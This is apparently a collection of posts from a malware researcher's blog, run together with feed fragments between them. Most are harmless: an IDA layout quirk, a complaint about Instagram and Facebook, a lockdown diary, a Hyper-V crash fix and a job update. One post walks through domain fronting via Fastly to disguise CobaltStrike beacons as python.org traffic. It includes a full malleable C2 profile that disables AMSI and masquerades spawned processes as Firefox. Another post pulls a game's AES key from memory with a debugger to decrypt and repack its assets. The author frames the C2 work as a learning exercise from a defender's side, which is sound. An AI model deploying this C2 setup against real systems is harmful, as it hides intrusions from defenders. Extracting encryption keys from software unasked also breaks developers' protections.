Today’s topic: desktop layouts - specifically, the weirdness you may encounter when you try to use saved layouts across different IDA architecture versions on Windows.
Let’s start off with the basic. You can create and save one or more “desktops” in IDA by going to Windows
-> Save desktop...
and optionally set it as the default layout. When a desktop is saved as the default, the next time IDA opens a new binary, it’ll automatically load up the desktop layout that you had previously saved. For example, I might put Strings View on my other monitor and IDA View on my main one.
Alright, that sounds great! But wait a second… Why does it not load up the same default desktop in the 64-bit IDA if I save the layout in the 32-bit IDA? It only loads up the default desktop!
So, it turns out, IDA saves quite a bit of information as a JSON when you save a desktop layout. These include the state of all the windows, opened views, how big each view is, is sync enabled, etc. The problematic part of this seems to be the windows state, as removing that part of the information magically allows IDA to load up the desktop layout properly. On Windows, you can find this information stored under HKCU\Software\Hex-Rays\IDA\Desktops
(some of the other settings are stored here in the IDA
sub-key as well).
If you remove the window_state
object and store the value back in, the default desktop will suddenly be loadable across different versions of IDA. Neat right? Not sure who at Hex-rays is responsible for this annoying quirk, though.
Host
header to redirect the traffic to threat actor’s stations. There are many examples out there that abuse services like Cloudflare, CloudFront, and such.
In today’s example, we’ll be using Fastly as an example. Fastly provides a service that’s more or less intended to act as a CDN, where you can create a service and tie it to your backend. As you can imagine, a company as large as Fastly (that was able to bring half the Internet with it when it went down), there are probably more than thousands of people using their services - and indeed there are.
You can do a quick search using services like RiskIQ to look through all of the subdomains associated with *.fastly.net
. While it appears we’re not the first to discover this, there aren’t a whole lot of other resources out there talking about abusing Fastly as a service.
And Python Software Foundation just so happens to use it too!
What actually happens is when you contact python.org
, it actually gets interpreted as python.org.prod.global.fastly.net
internally based on the Host
header. This was actually brought to our attention a while back when my colleagues discovered there were CobaltStrike beacons in the wild that appear to connect to Python-related domains at execution, and upon further investigation, we realized they were abusing the nature of Fastly services to disguise their traffic. So I decided to do a little experiment this weekend to see if I can recreate that myself.
To get started, I created a new service on Fastly called dl-python.org
, a service name (and in turn, a domain name) that appears to be similar enough to the real deal, but doesn’t actually exist (and it doesn’t need to be!).
dl-python.org
.
Note that while dl-python.org
appears to be actually owned by someone else, I don't actually have access to it, nor will it actually make contact with the domain (we'll get to that part later). You can name it whatever you want.
Next, in the Host settings section, enter your actual C2’s domain name, something you have actual control over. In this case, my-c2domain.com
. I have the port set to 55137
, but it should be 443 ideally for HTTPS beacons. My 80/443 port was occupied by something else when I was experimenting with it.
Next, we’re going to craft a new CobaltStrike Stager. Create a new Listener on your team server with the vulnerable domain name as the C2, and enter your service name in the Host
field. To make the traffic look a little bit more genuine, you can also craft your own malleable C2 profile that has contents of Python docs inside.
set sleeptime "5000";
set jitter "0";
set maxdns "255";
set useragent "Mozilla/5.0 (Windows NT 6.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0";
# set host_stage "false";
post-ex {
# control the temporary process we spawn to
set spawnto_x86 "%ProgramFiles(x86)%\\Everything\\Everything.exe";
set spawnto_x64 "%ProgramFiles%\\Mozilla Firefox\\firefox.exe";
# change the permissions and content of our post-ex DLLs
set obfuscate "true";
# pass key function pointers from Beacon to its child jobs
set smartinject "true";
# disable AMSI in powerpick, execute-assembly, and psinject
set amsi_disable "true";
}
http-config {
set headers "Date, Server, Content-Length, Keep-Alive, Connection, Content-Type";
set trust_x_forwarded_for "false";
header "Server" "nginx";
header "Keep-Alive" "timeout=5, max=100";
header "Connection" "Keep-Alive";
}
http-get {
set uri "/3/library/stdtypes.html";
client {
header "Accept" "*/*";
header "Host" "dl-python.org";
metadata {
base64;
prepend "session=";
header "Cookie";
}
}
server {
header "Server" "nginx";
header "Cache-Control" "max-age=0, no-cache";
header "Pragma" "no-cache";
header "Connection" "keep-alive";
header "Content-Type" "application/javascript; charset=utf-8";
output {
base64url;
# the content was so long for my IDE that it actually hung when trying to parse it
# so I'm gonna leave this section to you
append "...html_head...";
prepend "...html_body...";
print;
}
}
}
http-post {
set uri "/3/library/struct.html";
client {
header "Accept" "*/*";
header "Host" "cobaltstrike.stillu.cc";
id {
mask;
base64url;
parameter "x-timer";
}
output {
mask;
base64url;
parameter "etag";
}
}
server {
header "Server" "nginx";
header "Cache-Control" "max-age=0, no-cache";
header "Pragma" "no-cache";
header "Connection" "keep-alive";
header "Content-Type" "application/javascript; charset=utf-8";
output {
base64url;
append "...html_head...";
prepend "...html_body...";
print;
}
}
}
And that’s it! Let’s try to run the stager on our victim machine.
As you can see, it worked! It looks like it’s contacting docs.python.org
(and it is), yet the server returned beacon information for the stager. Just not in plaintext because I had the mask
option enabled, otherwise the content should look almost like standard HTML content with random bits of information thrown in there because of the malleable C2 config above - and this is with unencrypted traffic.
This trick is perfect for threat actors that want to evade IT admins’ attention as
http://docs.python.org/3/library/stdtypes.html
)Host
header wouldn’t even show updl-python.org.prod.global.fastly.net
, it doesn’t reveal the actual C2 address still, as the resolved IP would just be Fastly’s own CDN IP.This entire thing was really fun to recreate and helped me understand CobaltStrike a little bit more from attacker’s perspective, as I’ve always tackled CobaltStrike payloads from a Blue Team’s perspective as a threat intel researcher. If you are in the same position as me, I also encourage you to give CobaltStrike a try and try to attack your own machines to see what tricks you can pull off (if your organization has access to such tool).
]]>Last week of October 2021 marks the week that my second Instagram account got suspended. My first and my main Instagram account that was created since 2013 was suspended on the last week of September 2021 as well. Over what? We’ll get into that later, but first, let’s talk about the problem with Facebook, neoliberalism and monolopy.
No one gets to use a large-scale service for free - someone has to be the one that pays the bills. What business model does Facebook employ then? Why of course through advertisements! Advertisers pay Facebook a small (or ridiclously high) amount of fee to have their ads posted and delivered to users. Now, this is usually fine, and most people understand this. Getting ads every now and then to make up for the number of storage and or traffic we use on the service, perfectly reasonable. So what’s the problem then?
Ads optimization.
How does Facebook know what ads it should serve people? Through analytics and tracking, and it turns out Facebook excels at this. After all, they’ve been in the advertisement business for over a decade. How does this work? A small section of your user data, such as gender, age, interests, location, is collected from you when you sign up for the service and or begin creating UGCs (User Generated Content). This is explictly stated in their Privacy Policy (which most people don’t read). Facebook claims that the user data is never sent to the advertisers, and they will never get access to your personal info. However, this still does mean that Facebook now technically owns both your UGCs and this small section of information they have collected.
This might be somewhat okay with some people if this data collection is an opt-in behavior. However, it is not. Facebook (and in turn, Instagram) does not allow you to not send “potentially sensitive” information when using their service - and that’s because Facebook does not care about user privacy. If whatever it is they are doing makes the advertisers happy and the cash flowing in, they are willing to go through all sorts of lengths to get to that goal.
Shortly after creating a new Instagram account, it somehow quickly caught up where I physically was located, what language I wrote in, what I may be interested in despite the fact that I have all sorts of protection measures in place (e.g., not telling where Facebook I was, disabling its location services and permissions, using a proper VPN that does not collect user logs) - and remember, customers should not need to go through all these measures just to not get bombarded with ads. The worst part? You can’t even reset the advertisement tracking behavior or preferences.
Despite the fact how Facebook wants you to know “how important privacy is to us (the billion dollar company that runs the Internet)” by creating multiple dedicated privacy policy pages and showing priacy control options, they are merely trying to create an image that sells you the idea that “hey, it’s ok if you don’t want us to invade your privacy.” When, in fact, they just show you what they know about you, and there’s absolutely nothing you can do about it (or at least, the part that matters to each indvidual).
Let’s switch gear and talk about the Jedi Blue agreement. This agreement was not revealed (to my knowledge) until the court case 1:2021cv06841, an antitrust suit against Google LLC. The legal document spans 173 pages, and while lengthy (though I still encourage you to read it), reveals interesting tidbits about how both Google and Facebook works when it comes to advertisements. To put simply: they do not care about user privacy.
Essentially, Facebook and Google met in closed-door meetings and signed what they called a Jedi Blue Agreement.
In the Jedi Blue agreement, Google and Facebook agreed to manipulate publisher
auctions in Facebook’s favor through secret bid, spend, and win commitments. […] The Jedi Blue agreement allocates markets, and therefore fixes prices, between Google and Facebook as competing bidders in the auctions for publishers’ web display and in-app advertising inventory. The agreement allocated a portion of publishers’ auction wins to Facebook, subverting the free operation of supply and demand. Furthermore, the bid rate, win rate, and spend commitments were designed to meet a “high monthly minimum to ensure volume” that spans several years. Facebook is locked in and cannot change its mind and switch back to header bidding to compete against Google in the publisher ad server market.
- The State Of Texas, et al v. Google, LLC (2021)
Basically, Google and Facebook agreed to monopolize the ads market together - and they knew an antitrust case would eventually be filed against them.
The agreement also
requires the parties to coordinate on antitrust defenses, such that Facebook must approve any and all arguments that Google presents relating to their illegal agreement in its answer to this Complaint.
- The State Of Texas, et al v. Google, LLC (2021)
In court case 1:20-cv-03590-JEB (basically that one antitrust case where the FTC sued Facebook), Facebook was also scrutunized for having a huge market power to manipulate users into believing their products and services,
More generally, Facebook has also engaged in other activities that have degraded the user experience, including the misusing or mishandling of user data. For example, the FTC charged Facebook with engaging in a range of serious user privacy and related abuses in 2012 and 2019, and both times Facebook agreed to Consent Orders (and, in 2019, to pay a $5 billion penalty). Facebook’s ability to harm users by decreasing product quality, without losing
significant user engagement, indicates that Facebook has market power. […] Facebook navigated this period of transition, and has maintained its monopoly power in personal social networking thereafter, not by competing on the merits, but rather through a course of anticompetitive conduct spanning years. This course of conduct includes at least: a. the acquisition and continued control of Instagram, which has neutralized a significant independent personal social networking provider; b. the acquisition and continued control of WhatsApp, which has neutralized a significant competitive threat to Facebook’s personal social networking monopoly; and c. the imposition and enforcement of anticompetitive conditions on access to APIs in order to suppress and deter competitive threats to its personal social networking monopoly.
- FEDERAL TRADE COMMISSION v. FACEBOOK INC. (2020)
Instagram is a advertisement platform. That’s it. User privacy is not the utmost important to them. Thousands upon thousands of people are tired of anti-consumer behaviors like this, and this is why an open-source alternative was born, Barinsta.
I started using Barinsta some time early 2021 when I got tired of Instagram’s analytics, internal tracking, and giving me an ad every other Story I viewed. Barinsta is more or less based on the existing web version of the Instagram, but adapted in a way that is far more friendly to use than the default web Instagram.
It allows the user to view and or download Instagram photos anonymously or as a standard user - with all the tracking and ads stripped out. One could also view Stories and or DMs without marking the conversation as read, and so many other features that would make Instagram a superior usage experience. In fact, I was so impressed with it, I reached out to the developer and offered to work on localizing the app to Chinese Traditional (zh-TW).
Unfortunately, this was short-lived.
Facebook hit the developer with a Cease & Desist letter, effectively demanding the developer to drop all work related to Barinsta development. This is unfortunately nothing new when it comes to Facebook vs. community projects or anything they see as a “financial threat.”
Frost for Facebook is an OSS alternative to the standard Facebook client on Android. It is based on the standard web version of Facebook but is adopted into a new container that isn’t riddled with advertisements and tracking. Frost has been around since 2017 and has been steadily growing over the years.
Facebook, of course, was not happy with that. Some time around mid-2019, I had noticed that my account was getting locked every now and then for no rhyme or reason. Looking around on the issue board, I was not the only one who was experiencing this. Facebook had started picking up Frost as a threat and started flagging accounts that were using Frost to interact with the social media. While eventually a workaround was found (which involved removing a huge chunk of the code), this still goes to show that Facebook can do whatever they want and destroy any community project that they disagree with.
Not wanting to abandon Barinsta, I continued using the client, and now here we are. My main account was banned. My alt was banned - because I don’t want to comply with Facebook’s invasion of privacy. There were rumors that Barinsta was coming back, but for now, it seems like a slow effort and would likely end up as a cat-and-mouse game.
Neoliberal societies punish inefficiency, and teach us that it is our duty as individuals to always strive to better ourselves; if you fall behind, then it is a personal failure, rather than a failure of the system. (Badham, 2019)
I quit Instagram for now. After quitting Instagram, I do kinda miss seeing what my friends are up to, but we don’t really have to limit ourselves to Instagram, do we? I’ve been looking into decentralized alternatives where YOU, the person who posts the content, owns the content. Pixelfed is one of these services that you can self-host and join other similar instances on the Fediverse. This is the best alternative the community has - but getting outsiders to join this project, is going to be hard. We need to migrate from a neoliberalism-centric society to something that allows for more freedom and something that’s not built on pure capitalism.
Badham, R. (2019, February 28). The neoliberal side of social media. The Badger. Retrieved October 29, 2021, from https://thebadgeronline.com/2019/03/neoliberal-side-social-media/. Facebook, Inc., FTC v. (District of Columbia December 9, 2020).
]]>Am I surprised that an outbreak still occurred? Both yes and no. Part of me felt this was inevitable and bound to happen at some point, and another part of me felt like the government had done such a brilliant job at keeping COVID out that I honestly was expecting all of this to blow over without much issue.
It’s been about two months since I’ve started working from home (WFH). Everything was great and refreshing at first. The nature of my job meant that I can basically work wherever I wanted with no issue, long as I have access to the tools I need for malware analysis and the typical threat-intelligence-related tooling. Now? I can’t wait for all of this to blow over and for us to return to the “normal” life (whatever the new normal is).
I miss seeing friends. I miss the physical entertainment that I had before the lockdown. I miss being able to dine in at restaurants given enjoying food is one of the greatest entertainments I’ve had over the last few years. Remember, this is the first lockdown we have ever experienced here in Taiwan. I know some countries have been having lockdown for far longer than we have, so I can’t possibly imagine how it must feel for them.
This lockdown has also made me realize just how lonely I feel and I am. I already don’t have many friends ever since moving up north for job seeking. I only get to see some of my friends every month or so when I do go back to my home city or really any other cities. Now with lockdown, it’s basically impossible to see any of them. Sure, texting and video calling is a thing, but it’s the physical interaction that I miss – it’s gotten so bad that I’ve started using dating apps again just to fill that void, and even then that still doesn’t do it. Every time this feeling crops up, I can’t help but think “I love my job, but I miss my friends even more.”
]]>I’ve been playing a game that I love, and the best part of it is its wicked soundtrack. Buuuut, the publisher hasn’t released the official soundtrack for it, and I just couldn’t wait for its release. Since I knew the game has to load in its asset from somewhere, I figured time to crack it wide open then!
I was stumped at this part for a while, as there doesn’t appear to be any official documentation on how Windows Apps’ filesystem security is handled. I first tried to obtain the files by running a PowerShell session as NT AUTHORITY/SYSTEM
. After all, SYSTEM should have absolute control over the filesystem, right?
Well, er, no?
Despite icacls
reporting that NT AUTHORITY/SYSTEM
should in theory have access to the directory, I just could not get PowerShell to read anything from there - even after I enabled every security token imaginable.
PS C:\Program Files\WindowsApps\[REDACTED]> icacls .
. BUILTIN\Users:(OI)(CI)(Rc,S,RD,REA,X,RA)
S-1-15-3-247021172-3446442793-3455440376-3877820015-2750965022-664881756-722356460:(OI)(CI)(RX)
BUILTIN\Users:(OI)(CI)(R)
NT SERVICE\TrustedInstaller:(I)(F)
NT SERVICE\TrustedInstaller:(I)(OI)(CI)(IO)(F)
S-1-15-3-1024-3635283841-2530182609-996808640-1887759898-3848208603-3313616867-983405619-2501854204:(I)(RX)
S-1-15-3-1024-3635283841-2530182609-996808640-1887759898-3848208603-3313616867-983405619-2501854204:(I)(OI)(CI)(IO)(GR,GE)
NT AUTHORITY\SYSTEM:(I)(F)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
BUILTIN\Administrators:(I)(CI)(RX)
NT AUTHORITY\LOCAL SERVICE:(I)(OI)(CI)(RX)
NT AUTHORITY\NETWORK SERVICE:(I)(OI)(CI)(RX)
NT AUTHORITY\RESTRICTED:(I)(OI)(CI)(RX)
S-1-19-512-4096:(OI)(CI)(RX,D,WDAC,WO,WA)
Ah well, time for plan B.
After some research, I found out that UWPDumper does the job perfectly. Looking at the source code, it looks like the application injects itself into the UWP process, sets its access control as S-1-15-2-1
(ALL_APP_PACKAGES) and creates a remote thread that handles the file read write. Well, at least in the future I’d know what to do now. Anyways, I used the existing binary from the repo and got the files I was looking for.
Since the majority of the dump came from this XXXXXX-WinGDK.pak
file, I’d have to assume most of the assets came from this file. The handle view in Process Hacker confirms this, where no other visible files are loaded except for this file, the executable itself, and its dependencies.
After some additional reading, I had concluded that this is gonna be more than just a one-click-and-it’s-done type of job.
In order to dump the PAK, I had to first determine the version of the Unreal Engine used to build the game. Why? Because apparently Unreal is really sensitive to version changes. Any new version increment (excluding patch increment, fortunately) will cause issues. Heck, even different version of uassets
can cause the engine to not load the asset.
Thankfully, by checking the properties of the game binary, the engine had compiled its version name in there, which is 4.25.0
.
Next up, let’s try dumping the game using UnrealPak, an official utility that handles PAK-related operation. A copy of the 4.25.x UnrealPak can be found on GitHub. Let’s give it a go!
❯ ./unrealpak.exe
LogPaths: Warning: No paths for game localization data were specifed in the game configuration.
LogPakFile: Display: Using command line for crypto configuration
LogPakFile: Error: No pak file name specified. Usage:
LogPakFile: Error: UnrealPak <PakFilename> -Test
LogPakFile: Error: UnrealPak <PakFilename> -List [-ExcludeDeleted]
LogPakFile: Error: UnrealPak <PakFilename> <GameUProjectName> <GameFolderName> -ExportDependencies=<OutputFileBase> -NoAssetRegistryCache -ForceDependsGathering
LogPakFile: Error: UnrealPak <PakFilename> -Extract <ExtractDir> [-Filter=<filename>]
LogPakFile: Error: UnrealPak <PakFilename> -Create=<ResponseFile> [Options]
LogPakFile: Error: UnrealPak <PakFilename> -Dest=<MountPoint>
LogPakFile: Error: UnrealPak <PakFilename> -Repack [-Output=Path] [-ExcludeDeleted] [Options]
LogPakFile: Error: UnrealPak <PakFilename1> <PakFilename2> -diff
LogPakFile: Error: UnrealPak <PakFolder> -AuditFiles [-OnlyDeleted] [-CSV=<filename>] [-order=<OrderingFile>] [-SortByOrdering]
LogPakFile: Error: UnrealPak <PakFilename> -WhatsAtOffset [offset1] [offset2] [offset3] [...]
LogPakFile: Error: UnrealPak <PakFolder> -GeneratePIXMappingFile -OutputPath=<Path>
LogPakFile: Error: Options:
LogPakFile: Error: -blocksize=<BlockSize>
LogPakFile: Error: -bitwindow=<BitWindow>
LogPakFile: Error: -compress
LogPakFile: Error: -encrypt
LogPakFile: Error: -order=<OrderingFile>
LogPakFile: Error: -diff (requires 2 filenames first)
LogPakFile: Error: -enginedir (specify engine dir for when using ini encryption configs)
LogPakFile: Error: -projectdir (specify project dir for when using ini encryption configs)
LogPakFile: Error: -encryptionini (specify ini base name to gather encryption settings from)
LogPakFile: Error: -extracttomountpoint (Extract to mount point path of pak file)
LogPakFile: Error: -encryptindex (encrypt the pak file index, making it unusable in unrealpak without supplying the key)
LogPakFile: Error: -compressionformat[s]=<Format[,format2,...]> (set the format(s) to compress with, falling back on failures)
LogPakFile: Error: -encryptionkeyoverrideguid (override the encryption key guid used for encrypting data in this pak file)
LogPakFile: Error: -sign (generate a signature (.sig) file alongside the pak)
LogPakFile: Error: -fallbackOrderForNonUassetFiles (if order is not specified for ubulk/uexp files, figure out implicit order based on the uasset order. Generally applies only to the cooker order)
LogPakFile: Display: Unreal pak executed in 0.017149 seconds
Alright, let’s try -Test
to get a quick start.
❯ .\UnrealPak.exe -test .\[REDACTED]-WinGDK.pak
LogPaths: Warning: No paths for game localization data were specified in the game configuration.
LogPakFile: Display: Using command line for crypto configuration
LogWindows: Error: === Critical error: ===
LogWindows: Error:
LogWindows: Error: Fatal error: [File:C:/Users/spark/Desktop/UnrealEngine/Engine/Source/Runtime/PakFile/Private/IPlatformFilePak.cpp] [Line: 273]
LogWindows: Error: Failed to find requested encryption key 00000000000000000000000000000000
LogWindows: Error: [Callstack] 0x00007ffc63238ef6 UnrealPak-PakFile.dll!UnknownFunction []
LogWindows: Error: [Callstack] 0x00007ffc63231d52 UnrealPak-PakFile.dll!UnknownFunction []
LogWindows: Error: [Callstack] 0x00007ffc6323dbe8 UnrealPak-PakFile.dll!UnknownFunction []
LogWindows: Error: [Callstack] 0x00007ffc6323b44f UnrealPak-PakFile.dll!UnknownFunction []
LogWindows: Error: [Callstack] 0x00007ffc632286d7 UnrealPak-PakFile.dll!UnknownFunction []
LogWindows: Error: [Callstack] 0x00007ffc630db1a6 UnrealPak-PakFileUtilities.dll!UnknownFunction []
LogWindows: Error: [Callstack] 0x00007ff6df52a507 UnrealPak.exe!UnknownFunction []
LogWindows: Error: [Callstack] 0x00007ff6df52b278 UnrealPak.exe!UnknownFunction []
LogWindows: Error: [Callstack] 0x00007ffca85c7034 KERNEL32.DLL!UnknownFunction []
LogWindows: Error: [Callstack] 0x00007ffca9f7d0d1 ntdll.dll!UnknownFunction []
LogWindows: Error:
LogWindows: Error:
LogWindows: Error:
LogWindows: Error:
Well darn. It looks like the files are encrypted. After doing some reading, it appears Unreal’s PAK format are typically encrypted using AES with a SHA-1 key.
Ah yes, debugging time! Thankfully, Unreal Engine is now open-source, meaning I should be able to follow the source code to follow the code and find the decryption routine.
Let’s first find the decryption routine in the 4.25 Unreal source code. We can do that by simply looking up the word decrypt
in the repo.
That was easy enough. We can also see that the function is also referenced on L5043 - and there are strings surrounding it. Perfect, that should help us pinpoint where exactly the function is in memory. GetPakEncryptionKey
sounds interesting. We should take a look there later. Let’s fire up x64dbg. Since we already know what the surrounding strings are, we can just do a string search for literally any of them - in this case Failed to find requested encryption key
- to quickly pinpoint the address of the function.
After we’ve found the address, we can set a breakpoint on its parent routine and watch it run.
“Huh, that’s strange. I thought the function was quite small, and if this were GetPakEncryptionKey
, what happened to the DecryptData
method?” you may think. What more than likely happened here was compiler optimization. Instead of having to call more than one subroutine, the compiler will often try to find and merge routines together at compile-time to optimize the number of instructions required to carry out the task.
At this point, it’s just the matter of trial and error and seeing what each subroutine returns in their corresponding registers. When a subroutine returns, x64dbg will highlight the register(s) that has changed since the execution in red.
By inspecting each register in dump, we can quickly find the AES key required to decrypt the data. In this case, the corresponding register for the decryption method containing the key was RCX. How did I know what was in the dump was in fact the key? We already knew based on previous documentations that the AES encryption key is a SHA-1 hash. There are 160 bits in a SHA-1 hash, which is the equivalent of 20 bytes. The output just so happens to contain a continuous 20-byte data.
Now that we have the SHA-1 AES key, we can now feed it to UnrealPak! UnrealPak takes a Base64’d AES key in its configuration file (typically crypto.json
). All we need to do now is jot down the key, convert it to Base64, and bam, we can now run the decryption process! For the decryption process, I found that I needed to actually install the Unreal Editor itself for it to work, so I guess we didn’t need to download that GitHub mirror after all.
. "$env:programfiles\Epic Games\UE_4.25\Engine\Binaries\Win64\UnrealPak.exe" "$env:userprofile\Desktop\DUMP\<REDACTED>\Content\Paks\<REDACTED>-WinGDK.pak" -Extract "$env:userprofile\Desktop\DUMP_PAK" -CryptoKeys="Crypto.json"
{
"$types": {
"UnrealBuildTool.EncryptionAndSigning+CryptoSettings, UnrealBuildTool, Version=4.0.0.0, Culture=neutral, PublicKeyToken=null": "1",
"UnrealBuildTool.EncryptionAndSigning+EncryptionKey, UnrealBuildTool, Version=4.0.0.0, Culture=neutral, PublicKeyToken=null": "2",
"UnrealBuildTool.EncryptionAndSigning+SigningKeyPair, UnrealBuildTool, Version=4.0.0.0, Culture=neutral, PublicKeyToken=null": "3",
"UnrealBuildTool.EncryptionAndSigning+SigningKey, UnrealBuildTool, Version=4.0.0.0, Culture=neutral, PublicKeyToken=null": "4"
},
"$type": "1",
"EncryptionKey": {
"$type": "2",
"Name": "null",
"Guid": "null",
"Key": "<REDACTED>"
},
"SigningKey": null,
"bEnablePakSigning": true,
"bEnablePakIndexEncryption": true,
"bEnablePakIniEncryption": true,
"bEnablePakUAssetEncryption": true,
"bEnablePakFullAssetEncryption": false,
"bDataCryptoRequired": true,
"PakEncryptionRequired": true,
"PakSigningRequired": true,
"SecondaryEncryptionKeys": [
]
}
Nice! Now I can explore the game’s content to my heart’s content with things like john-wick-parse
for deserializing *.uasset
files, and umodel
for viewing models!
For dumping and extracting the game’s WWise audio bank, I had to use a tool called wwiseutil
to view and extract the game’s *.bnk
files.
Then finally, I can use a foobar2000 extension called vgmstream to listen to and transcode the audio from the WEM format to WAV.
This part actually had me stumped for a day or two, since there weren’t too many documentations out there that outline for Unreal Editor packs and cooks its PAK file. I had to find out the command-line parameters used by the Editor by viewing them in Process Hacker. Essentially, the Editor first compiles a list of files needed to be in the PAK to a text file in the format of <path_to_file> <internal_path>
. For example,
# ...
"C:/Users/Still/Desktop/DUMP_PAK/Engine/Content/Functions/Engine_MaterialFunctions02/HueShift.uasset" "../../../Engine/Content/Functions/Engine_MaterialFunctions02/HueShift.uasset"
"C:/Users/Still/Desktop/DUMP_PAK/Engine/Content/Functions/Engine_MaterialFunctions02/Lerp_Multiple_Float3.uasset" "../../../Engine/Content/Functions/Engine_MaterialFunctions02/Lerp_Multiple_Float3.uasset"
"C:/Users/Still/Desktop/DUMP_PAK/Engine/Content/Functions/Engine_MaterialFunctions02/SafeNormalize.uasset" "../../../Engine/Content/Functions/Engine_MaterialFunctions02/SafeNormalize.uasset"
# ...
Thankfully, I didn’t really need to reconstruct one myself. During the previous extraction step, UnrealPak will already print out what files were extracted. Simply capture the output of the tool and replace irrelevant strings that do not conform to the above format and shift the strings around, and you’ll be set! After then, run the UnrealPak tool with a Create
, Encrypt
and CryptoKeys
parameter (formatted below).
# capture the output to a file
.\UnrealPak.exe "$env:userprofile\Desktop\DUMP\REDACTED\Content\Paks\REDACTED-WinGDK.pak" -Extract "$env:userprofile\Desktop\DUMP_PAK" -CryptoKeys="Crypto.json" > output.log
# do the string replacement here yourself; I always did it by hand with regular expression in VSC.
# repackage the file based on our existing crypto key and file list then launch the game
cd "$env:programfiles\Epic Games\UE_4.25\Engine\Binaries\Win64\"; .\UnrealPak.exe $env:userprofile\Desktop\DUMP\REDACTED\Content\Paks\REDACTED-WinGDK.pak -Create="$env:userprofile\Downloads\UnrealPakTool\output.log" -Encrypt -cryptokeys="Crypto.json"; $env:userprofile\Desktop\DUMP\REDACTED\Binaries\WinGDK\REDACTED-WinGDK-Shipping.exe
Have fun modding the game with Shrek or something absolutely memey!
In this post, we went through how Unreal uses a SHA-1 hash as its AES key to decrypt its content, and how we can dump the said content into its decrypted form. This was a fun exercise for me, as I was truly passionate about discovering more about this game and I wanted to see just how familiar I am with the x64dbg debugger now that I have a full-time job that requires me to work with debugger every day.
While I had fun decrypting and dumping the game and discovering previously uncertain information about the mechanics, there were a few things that disappointed me. First of all, I realized the game chose to opt for Wwise’s proprietary compressed audio instead of the uncompressed format. The compression is the equivalent of 192kbps MP3 with a very noticeable 18KHz cut-off. That is what I call a yikes for a game that has its focus on audio. Second, the fact that the developers had unfortunately signed a Microsoft exclusivity contract meant that they had to roll out the game using the MSIX format - a format that I will make a rant on some time after the publication of this post.
Ah well, that about wraps up this post, though! Thanks for reading and going through this journey with me!
]]>If the BSoD happened after enabling Hyper-V-related features, and if you are on an AMD platform, disable AMD PSS in the BIOS.
Disabling Memory Integrity supposedly works too, but NOT RECOMMENDED for security reasons.
My weekend could have been a lot smoother this week. Here’s the story: I’ve been using Hyper-V ever since WSL 2 was first introduced to the Windows 10 preview builds. Since running a hypervisor (VMware layer) inside another hypervisor (Hyper-V layer) is not exactly ideal performance-wise, I figured I might as well give Hyper-V a try.
Fast forward to yesterday. I was setting up a Windows 7 Hyper-V instance for my malware lab at home. During the setup, I figured I’d add my on-board Wi-Fi module as an External VM Hyper-V Switch.
…annnnd I couldn’t. I keep running into this mysterious Element not found
and Folder already exists
error. Looking it up, I had tried everything from netcfg -d
to reinstalling the network driver - nothing worked. Great.
As a last resort, I tried the nuke approach: re-install the Hyper-V feature on my Windows 10 20H2 (19042.630) installation by disabling and re-enabling the Hyper-V and its related Windows features (i.e., Hyper-V
, Virtual Machine Platform
, Windows Hypervisor Platform
, Windows Subsystem for Linux
, Microsoft Defender Application Guard
). And that was where my trouble got even worse.
After re-enabling the features, my Windows couldn’t even reach the Windows loading screen without this pesky SYSTEM_THREAD_EXCEPTION_NOT_HANDLED
BSoD.
At this point I was like, “Welp, I guess my system is just cursed.” I didn’t even bother troubleshooting beyond the basic “let’s enter safe mode and see if that works” and “let’s see what the Internet has to say” steps. Since I already have regular backups (you should too), reinstalling Windows really wasn’t that big of a deal to me; might as well just do it then.
After reinstalling Windows 20H2 (after like an hour or two of getting the latest Windows ISO, thanks Microsoft for throttling the traffic) and getting my most essential programs set up, I went ahead and enabled Hyper-V features again.
…annnnd we’re back to this blue screen crap.
Thankfully, a Microsoft employee on the PowerShell Discord that I visit regularly suggested that it was a known issue on some platforms, particularly, Lenovo laptops with biometric passthrough. Initially I didn’t really buy into that suggestion, as it seemed like a niche Lenovo-related incident, but he did suggest turning off virtualization features in the BIOS to see if it would help. Disabling AMD SVM (the AMD equivalent of Intel VT-d) did allow me to boot back into Windows. Upon getting past the loading screen, Windows noticed the installed features aren’t working as intended and rolled back the features.
That’s great and all, but… I kinda need SVM if I want to use any software that utilize hardware virtualization at all! Since the person on Discord mentioned that it was “certain features” causing this BSoD, I decided to try to pinpoint the issue myself. I first tried disabling certain CPU features that I knew I wasn’t using or explicitly required to be on, then I enabled Windows Features one by one, instead of enabling all at once. Everything booted. Okay cool.
Let’s try re-enabling AMD PSS, one of the features I disabled. And ladies and gentlemen, that was it! This non-descriptive feature with a vaguely technical description was causing the issue. I can’t imagine why ACPI-related features would lead to this bizarre issue, but more importantly - whoever in charge of writing the feature description over at ASUS needs to revise them. I have no idea what any of that meant without consulting AMD’s tech specs.
By the way, the Wi-Fi bridging VM switch thing? Still doesn’t work after a reinstall. Thanks Microsoft. I swear, VMware seems more than reliable at this rate.
]]>In search for a new job for my future (and for my wallet), I applied for a little company in Taiwan called TeamT5 back in late September. TeamT5 provides threat analysis and incident response services for enterprises, which happens to align with my interest of information security.
I applied for the Vulnerability Researcher position, which I thought was fitting at the time - even though I haven’t really found anything of my own as of yet. I won’t delve too much into the actual interview itself, as part of the interview process is under a non-disclosure agreement (NDA). But suffice to say, I passed the interview and their test with flying color (though I was certainly quite anxious before and during the interview process). However, instead of offering me the Vulnerability Researcher position I initially applied for, we’ve come to the agreement that I’m much more suited for the Malware Research division. In retrospect, malware research makes far more sense given my interest in malware and APT attacks around the globe.
<figcaption>On my way to the bustling city of Taipei.</figcaption>
Unfortunately, as of the time of writing this article, I still haven’t resolved my conscription complications. Long story short, Taiwan has a mandatory military duty for all biologically-born-male residents. I have applied for a conscription immunity with my mental illness, which unfortunately has taken quite a long time to resolve due to various complications from the hospital and general government inefficiency. The local district office has told me that it is very likely to pass, though I’ll have to wait for the results in November.
Anyways, all that trouble means I cannot apply for a full-time position at the moment, as it is illegal to do so with an unattended conscription duty. However, the company has given me a contractor role, which is perfectly legal as far as we know. This means that I’ll be paid slightly lower and cannot yet become a full-time employee as of now, but at least I’ll still be paid at least 80% of the full-time salary.
With the interview passed, that does mean I have to move to at least somewhere near the vicinity of the workplace. Well, “near.” I originally intended to rent a house or an apartment somewhere near the company. Given how little money I had on hand, though, I didn’t feel comfortable renting a place - especially not in downtown Taipei, where the rent is usually ridiculously high. Thankfully, I was offered a place to stay at my relative’s, which while isn’t close to where my work is, it is at least within reasonable distance.
